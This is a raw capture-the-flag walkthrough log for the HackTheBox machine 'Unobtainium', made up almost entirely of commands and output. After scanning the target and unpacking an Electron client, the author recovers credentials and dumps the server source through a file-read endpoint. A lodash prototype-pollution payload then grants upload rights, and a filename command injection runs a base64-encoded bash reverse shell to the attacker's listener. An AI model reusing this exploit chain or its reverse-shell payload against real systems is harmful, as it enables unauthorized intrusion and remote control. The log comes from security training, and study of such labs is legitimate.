Unobtainium

$ nmap -p- -T4 -A 10.10.10.235
PORT      STATE SERVICE          VERSION
 22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 |   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
 |   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
 |_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
 80/tcp    open  http             Apache httpd 2.4.41 ((Ubuntu))
 |http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Unobtainium 2379/tcp  open  ssl/etcd-client? | ssl-cert: Subject: commonName=unobtainium | Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2021-01-17T07:10:30 |_Not valid after:  2022-01-17T07:10:30 |_ssl-date: TLS randomness does not represent time | tls-alpn:  |  h2
 | tls-nextprotoneg: 
 |_  h2
 2380/tcp  open  ssl/etcd-server?
 | ssl-cert: Subject: commonName=unobtainium
 | Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
 | Not valid before: 2021-01-17T07:10:30
 |Not valid after:  2022-01-17T07:10:30 |_ssl-date: TLS randomness does not represent time | tls-alpn:  |  h2
 | tls-nextprotoneg: 
 |_  h2
 8443/tcp  open  ssl/https-alt
 | fingerprint-strings: 
 |   FourOhFourRequest: 
 |     HTTP/1.0 403 Forbidden
 |     Cache-Control: no-cache, private
 |     Content-Type: application/json
 |     X-Content-Type-Options: nosniff
 |     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
 |     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
 |     Date: Wed, 12 May 2021 12:14:54 GMT
 |     Content-Length: 212
 |     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
 |   GenericLines: 
 |     HTTP/1.1 400 Bad Request
 |     Content-Type: text/plain; charset=utf-8
 |     Connection: close
 |     Request
 |   GetRequest: 
 |     HTTP/1.0 403 Forbidden
 |     Cache-Control: no-cache, private
 |     Content-Type: application/json
 |     X-Content-Type-Options: nosniff
 |     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
 |     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
 |     Date: Wed, 12 May 2021 12:14:53 GMT
 |     Content-Length: 185
 |     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
 |   HTTPOptions: 
 |     HTTP/1.0 403 Forbidden
 |     Cache-Control: no-cache, private
 |     Content-Type: application/json
 |     X-Content-Type-Options: nosniff
 |     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
 |     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
 |     Date: Wed, 12 May 2021 12:14:54 GMT
 |     Content-Length: 189
 |_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
 |http-title: Site doesn't have a title (application/json).
 | ssl-cert: Subject: commonName=minikube/organizationName=system:masters
 | Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
 | Not valid before: 2021-05-11T05:00:16
 |_Not valid after:  2022-05-12T05:00:16
 |_ssl-date: TLS randomness does not represent time
 | tls-alpn:
 |   h2
 |  http/1.1
 10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
 |http-title: Site doesn't have a title (text/plain; charset=utf-8).
 | ssl-cert: Subject: commonName=unobtainium@1610865428
 | Subject Alternative Name: DNS:unobtainium | Not valid before: 2021-01-17T05:37:08
 |_Not valid after:  2022-01-17T05:37:08 |_ssl-date: TLS randomness does not represent time
 | tls-alpn: 
 |   h2
 |  http/1.1
 10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
 |http-title: Site doesn't have a title (text/plain; charset=utf-8). 31337/tcp open  http             Node.js Express framework
 | http-methods: 
 |  Potentially risky methods: PUT DELETE
 |_http-title: Site doesn't have a title (application/json; charset=utf-8).
$ nikto -h http://10.10.10.235
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Server may leak inodes via ETags, header found with file /, inode: 7c4, size: 5be45c5898828, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
+ OSVDB-3268: /downloads/: Directory indexing found.
+ OSVDB-3092: /downloads/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ 7863 requests: 0 error(s) and 11 item(s) reported on remote host
$ dirb http://10.10.10.235
---- Scanning URL: http://10.10.10.235/ ----
==> DIRECTORY: http://10.10.10.235/assets/                                                                                                                                   
==> DIRECTORY: http://10.10.10.235/downloads/                                                                                                                                
==> DIRECTORY: http://10.10.10.235/images/                                                                                                                                   
+ http://10.10.10.235/index.html (CODE:200|SIZE:1988)                                                                                                                        
+ http://10.10.10.235/server-status (CODE:403|SIZE:277)                                                                                                                      
                                                                                                                                                                             
---- Entering directory: http://10.10.10.235/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                             
---- Entering directory: http://10.10.10.235/downloads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                             
---- Entering directory: http://10.10.10.235/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
$ ar -xv unobtainium_1.0.0_amd64.deb
$ dpkg -x  unobtainium_1.0.0_amd64.deb unobtainium
dpkg-deb -xv unobtainium_1.0.0_amd64.deb 
$ ./unobtainium --no-sandbox
(node:71362) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.  See https://github.com/electron/electron/issues/23506 for more information

Unable to reach unobtainium.htb
$ echo "10.10.10.235 unobtainium.htb" | sudo tee -a /etc/hosts
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium$ ./unobtainium 
[{"icon":"__","text":"Hello world","id":1,"timestamp":1620825481048,"userName":"felamos"}]
start wireshark to check what do they talk.

POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/javascript, \*/\*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 293
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
Date: Sat, 17 Apr 2021 04:41:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5

kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ npx asar extract app.asar ./

kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ npm install --engine-strict asar

npx asar extract app.asar destfolder 
kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ cat package.json 
{
  "name": "unobtainium",
  "version": "1.0.0",
  "description": "client",
  "main": "index.js",
  "homepage": "http://unobtainium.htb",
  "author": "felamos <felamos@unobtainium.htb>",
  "license": "ISC"
}kali@kali:~/0.htb/machines/Unobtainium235/unobtainium/opt/unobtainium/resources$ 

todo.js -> todo.txt

kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

kali@kali:~/0.htb/machines/Unobtainium235$ 

kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}kali@kali:~/0.htb/machines/Unobtainium235$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3735  100  3655  100    80  32927    720 --:--:-- --:--:-- --:--:-- 33648
{
  "ok": true,
  "content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");     \nconst bodyParser = require('body-parser');     \nconst _ = require('lodash');                                                                  \nconst app = express();\nvar fs = require('fs');\n                                                                                              \nconst users = [                                                                               \n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},      \n];\n\nlet messages = [];                             \nlet lastId = 1;                                \n                                                                                              \nfunction findUser(auth) {                                                                     \n  return users.find((u) =>                                                                    \n    u.name === auth.name &&                                                                   \n    u.password === auth.password);                                                            \n}                                    \n                                               \napp.use(bodyParser.json());                                                                   \n                                               \napp.get('/', (req, res) => {                   \n  res.send(messages);                                                                         \n});                                                                                           \n                                                                                              \napp.put('/', (req, res) => {   \n  const user = findUser(req.body.auth || {});                                                 \n                                               \n  if (!user) {                                 \n    res.status(403).send({ok: false, error: 'Access denied'});                                \n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n\tconst user = findUser(req.body.auth || {});\n\tif (!user) {\n\t\tres.status(403).send({ok: false, error: 'Access denied'});\n\t\treturn;\n\t}\n\n\tfilename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"                                                                                
}
kali@kali:~/0.htb/machines/Unobtainium235$ 
$ curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/todo --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}' -x http://127.0.0.1:8087

{"ok":true,"content":"{\n  \"name\": \"Unobtainium-Server\",\n  \"version\": \"1.0.0\",\n  \"description\": \"API Service for Electron client\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"node index.js\"\n  },\n  \"author\": \"felamos\",\n  \"license\": \"ISC\",\n  \"dependencies\": {\n    \"body-parser\": \"1.18.3\",\n    \"express\": \"4.16.4\",\n    \"lodash\": \"4.17.4\",\n    \"google-cloudstorage-commands\": \"0.0.1\"\n  },\n  \"devDependencies\": {}\n}\n"}%
exploit
lodash@4.17.4 vulnerabilities | lodash 4.17.4 | Snyk
https://snyk.io/test/npm/lodash/4.17.4

kali@kali:~/0.htb/machines/Unobtainium235$ echo "bash -i  &>/dev/tcp/10.10.14.42/4444 <&1"| base64
YmFzaCAtaSAgJj4vZGV2L3RjcC8xMC4xMC4xNC40Mi80NDQ0IDwmMQo=
kali@kali:~/0.htb/machines/Unobtainium235$ 

kali@kali:~/0.htb/machines/Unobtainium235$ curl -X PUT -H 'Content-Type: application/json' http://10.10.10.235:31337 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
{"ok":true}kali@kali:~/0.htb/machines/Unobtainium235$ 

curl -X POST -H 'Content-Type: application/json' http://10.10.10.235:31337/upload --data-binary '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}},"filename":"; echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjcvNDQ0NCA8JjE= | base64 -d | bash"}'

{"ok":true,"Uploaded_File":"; echo YmFzaCAtaSAgJj4vZGV2L3RjcC8xMC4xMC4xNC40Mi80NDQ0IDwmMQo= | base64 -d | bash"}

rlwrap nc -lvnp 4444

Navigation